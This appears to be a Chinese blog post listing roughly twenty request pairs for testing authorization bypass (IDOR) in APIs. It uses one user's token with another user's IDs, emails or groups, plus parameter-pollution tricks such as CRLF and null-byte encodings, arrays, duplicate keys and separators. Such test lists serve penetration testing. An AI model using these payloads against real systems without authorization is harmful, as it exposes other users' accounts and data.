API认证之越权访问 Api Authentication

API认证之越权访问 Api Authentication

可预测的ID


GET  /api/v1/account/**2222**

Token:  UserA_token

  

GET  /api/v1/account/**3333**

Token:  UserA_token

身份组合


GET  /api/v1/**UserA**/data/2222

Token:  UserA_token

  

GET  /api/v1/**UserB**/data/3333

Token:  UserA_token

整数作为 ID


POST  /api/v1/account/

Token:  UserA_token

{"Account":  2222  }

  
  

POST  /api/v1/account/

Token:  UserA_token

{"Account": [3333]}

电子邮件作为用户 ID


POST  /api/v1/user/account

Token:  UserA_token

{"email":  " [email protected]"}

  
  

POST  /api/v1/user/account

Token:  UserA_token

{"email":  " [email protected]"}

组号


GET  /api/v1/group/CompanyA

Token:  UserA_token

  

GET  /api/v1/group/CompanyB

Token:  UserA_token

组和用户组合


POST  /api/v1/group/CompanyA

Token:  UserA_token

{"email":  " userA@CompanyA .com"}

  

POST  /api/v1/group/CompanyB

Token:  UserA_token

{"email":  " userB@CompanyB .com"}

嵌套对象


POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222  }

  

POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  {"Account"  :3333}}

多个对象


POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222  }

  

POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222,  "Account":  3333,  "Account":  5555  }

可预测的token


POST  /api/v1/user/account

Token:  UserA_token

{"data":  "DflK1df7jSdfa1acaa"}

  

POST  /api/v1/user/account

Token:  UserA_token

{"data":  "DflK1df7jSdfa2dfaa"}

方法10


POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222  }

  

POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222%0d%0a1111  }

API认证之越权访问 Api Authentication

方法11


POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222  }

  

POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222%0a1111  }

方法12


POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222  }

  

POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222%0d1111  }

13


POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222  }

  

POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222%001111  }

14


POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222  }

  

POST  /api/v1/user/checking

Token:  UserA_token

{"Account": [2222,1111] }

15


POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222  }

  

POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222;1111  }

16


POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222  }

  

POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222,1111  }

17


POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222  }

  

POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222|1111  }

18


POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222  }

  

POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222%0a%0dcc:1111  }

19.使用&进行参数污染


POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222  }

  

POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222&1111  }

20


POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222  }

  

POST  /api/v1/user/checking

Token:  UserA_token

{"Account":  2222#%1111  }

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注